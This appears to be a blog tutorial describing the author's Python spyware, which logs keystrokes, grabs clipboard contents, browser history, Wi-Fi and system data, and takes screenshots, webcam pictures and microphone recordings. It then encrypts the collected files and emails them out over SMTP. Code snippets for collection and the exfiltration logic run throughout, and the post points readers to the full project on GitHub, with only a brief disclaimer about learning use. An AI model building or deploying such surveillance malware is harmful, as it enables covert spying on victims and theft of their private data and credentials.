How I made an advanced Python Keylogger that sends emails

I made a Python keylogger that sends emails containing recorded data from the target machine, and this post explains how it works! This program is essentially a piece of spyware with features such as keylogging, taking screenshots, recording microphones, and taking webcam pictures.

My intent with this project is purely for learning and experimentation; unethical use is strictly prohibited. Do NOT use this software on resources you do not own or have explicit permissions for.

Getting Started with the Keylogger

To start out go to my GitHub to download the project and also please review the README provided.

This will ensure proper steps have been taken to minimize issues or errors from missing dependencies.

Just a heads up, this keylogger program uses numerous modules and a handful of them are not installed with Python by default.

import subprocess, socket, win32clipboard, os, re, smtplib, \
        logging, pathlib, json, time, cv2, sounddevice, shutil
import requests
import browserhistory as bh
from multiprocessing import Process
from pynput.keyboard import Key, Listener
from PIL import ImageGrab
from scipy.io.wavfile import write as write_rec
from cryptography.fernet import Fernet
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders

Some of these may need to be installed before you can run the keylogger. Try opening an interpreter and import each module individually.

The modules that fail are the ones that need to be installed via PIP. Search engines are a lifesaver for finding module names.

For example, for from cryptography.fernet import Fernet you could install it via pip install cryptography as explained here.

Just be careful because there are sometimes multiple modules with very similar names so they can be easily mixed up.

After the modules are installed open up the keylogger program in the text editor of choice.

The Keylogger’s Starting Point

Open up theAdvancedKeylogger.py, which is the main keylogger code file.

The program starts out by executing the main function in a try-except statement.

This can be really useful for providing simplified global error handling and exit point via keyboard interrupt (Ctrl + C).

The way the logging module is set up will log the full stack trace of the error to a file and pass to continue operation.

This base setup provides some global benefits to the program while simplifying error handling.

Inside of main and any corresponding functions, additional try-except statements can be used on a more granular level.

When an error occurs a detailed full stack trace can be logged to a file for an admin; while the user receives a much more vague message preventing information leakage.

Main function of the keylogger


Gathering Network and System Info

Once main is initiated the program begins by creating a directory to store the data it will gather.

A file path is assigned to a variable as C:\Users\Public\Logs (created directory).

pathlib.Path('C:/Users/Public/Logs').mkdir(parents=True, exist_ok=True)
file_path = 'C:\\Users\\Public\\Logs\\'

To gather the essential network information, a context manager is used to manage the file the data is written to.

Using the subprocess module a shell executes the specified commands with the standard output and error directed to the log file.

The communicate funtion is used to initiate a 60 second timeout for the shell.

outs, errs = commands.communicate(timeout=60)

When the timeout ends the process is killed and communicate is used to alert the system the process has been terminated.

except subprocess.TimeoutExpired:
            commands.kill()
            out, errs = commands.communicate()

Obtaining the system information is essentially the same process as just described, with variations of the commands being entered and the output redirected to a different file.

Also the requests module is used to attempt to obtain the public IP address with ipipfy online api.

public_ip = requests.get('https://api.ipify.org').text

So within 1 minute and 15 seconds of starting the program all the essential network and system info has been attained.

This information alone opens a pretty large surface to local or remote attacks.

Code for capturing the Network and System Information


Get Clipboard and Browser Information

Using the win32clipboard module the system grabs the most recent clipboard data and saves it to a file.

win32clipboard.OpenClipboard()
pasted_data = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
with open(file_path + 'clipboard_info.txt', 'a') as clipboard_info:
    clipboard_info.write('Clipboard Data: \n' + pasted_data)

After the browserhistory module is used to obtain the browser username, database paths, and history in JSON format.

All three are extended to a single list and written to a file using the json module.

browser_history = []
bh_user = bh.get_username()
db_path = bh.get_database_paths()
hist = bh.get_browserhistory()
browser_history.extend((bh_user, db_path, hist))
with open(file_path + 'browser.txt', 'a') as browser_txt:
    browser_txt.write(json.dumps(browser_history))

At this point, the process of concurrently gathering information is finished; it’s time for multiprocessing!

Essentially what this section does is set up four parallel processes that will execute simultaneously.

p1 = Process(target=logg_keys, args=(file_path,)) ; p1.start()
p2 = Process(target=screenshot, args=(file_path,)) ; p2.start()
p3 = Process(target=microphone, args=(file_path,)) ; p3.start()
p4 = Process(target=webcam, args=(file_path,)) ; p4.start()

The processes are joined with a timeout of 300 seconds and will automatically terminate when the timeout is finished.

Code to capture the Clipboard and Browser information with multiprocessing


Recon Time!

The four functions on the screenshot below should look familiar. That is because they are the four multiprocessing functions with parallel execution.

The logg_keys function is a basic keylogger that gets the job done (and where it gets its name from!).

The screenshot function is a loop that saves a screenshot every 5 seconds.

The microphone function is a loop that records the microphone for 60 second intervals; which is necessary to meet email attachment size limitations.

The webcam function is a loop that save a picture every 5 seconds.

All these functions run simultaneously for 5 minutes and terminate when the timeout is complete.

Code for the different functions


Encrypt Files and Exfiltrate Them

This section assigns the .txt files to a variable and uses regex to select any xml files (wifi data) to append to the txt file variable.

The key is the encryption key used to encrypt the select data files. For each file in the list of files, the plain text file is binary read to be encrypted and written to a fresh file.

Prior to this operation the plain text data is deleted and the encrypted data is sent to a email function (described next section).

After the email is sent all gathered data is deleted and the main function is called to loop back to the beginning.

Code to encrypt files


Understanding the Email Function

On the screenshot below please ignore the highlighted text:

Email sending function

The email_base and smtp_handler functions are mainly used to reduce redundant code.

This is because the emails need to be treated in a very specific manner due to email attachment size limitations.

For example Google’s attachment limit is 25 Mb per email.

So considering this program produces 5 videos around 20 Mb it becomes quite clear this could cause issues with size limits.

The screenshot below is how this issue was handled:

Email sending functionality continued for the keylogger

The send_email function begins by compiling a different regular expression (regex) for each extension type to be emailed.

    regex = re.compile(r'.+\.xml$')
    regex2 = re.compile(r'.+\.txt$')
    regex3 = re.compile(r'.+\.png$')
    regex4 = re.compile(r'.+\.jpg$')
    regex5 = re.compile(r'.+\.wav$')

A variable msg is defined as an attachable email message and passed into the email base function to craft the base information of the email.

At this point this data structure might look like a lot to take in, but it is relatively simple when explained step by step.

Considering there are five different types of data with a limit of 25 Mb per email attachments, the best option is to attach all of a single data type to an individual email.

The exception to this is WAV files considering the size issues mentioned before.

This issue can be solved by assigning each WAV clip to its own individual email and send it per match.

So it starts by setting a variable to exclude the Screenshots and WebcamPics directories.

exclude = set(['Screenshots', 'WebcamPics'])

Using the os module, the walk function is used the select all the files in the specified path.

for dirpath, dirnames, filenames in os.walk(path, topdown=True):

Then dirnames uses a slice index to ignore any directories in the specified path to prevent errors.

For each file in the filenames in the specified path, it will try to match the file extension to one of the regex variables. (The ones defined previously as regex, regex2, …, regex5)

If one of the first four regex variables match, then all of files of that data type will be attached to a single email message.

If regex5(WAV) variable matches, then that single match will be attached to its own individual email and sent.

procedural explanation:

regex 1-4

match expression 1(xml) -> attach to email -> scan again ; match expression (1)xml -> attach to same email -> scan again; match expression 2(txt) -> attach to new email -> scan again

regex 5

match expression 5(wav) -> create new email -> attach to email -> send ; match expression 5(wav) -> create new email -> attach to email -> send

The last two lines are cut off in screenshot (else partially visible).

If there are no matches then pass is called to keep the program moving.

Finally the smtp_handler is called to send any of the non WAV files.

smtp_handler(email_address, password, msg)

Decrypting files

After receiving all the gathered data, download and move them to the path specified in decryptFile.py.

path = 'C:/Users/Public/Logs/'

This file is essentially an inverse of the encryption function in the original program.

Run it to see the encrypted files turn back into their original plain text form!

Code for file decryption


Conclusion

That is all there is to this keylogger program! I tried to keep it as simple as possible while maximizing its functionality.

I hope you enjoyed and benefited from this tutorial, and please don’t hesitate to ask in the comments if you have any questions!

Related Articles

Responses

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.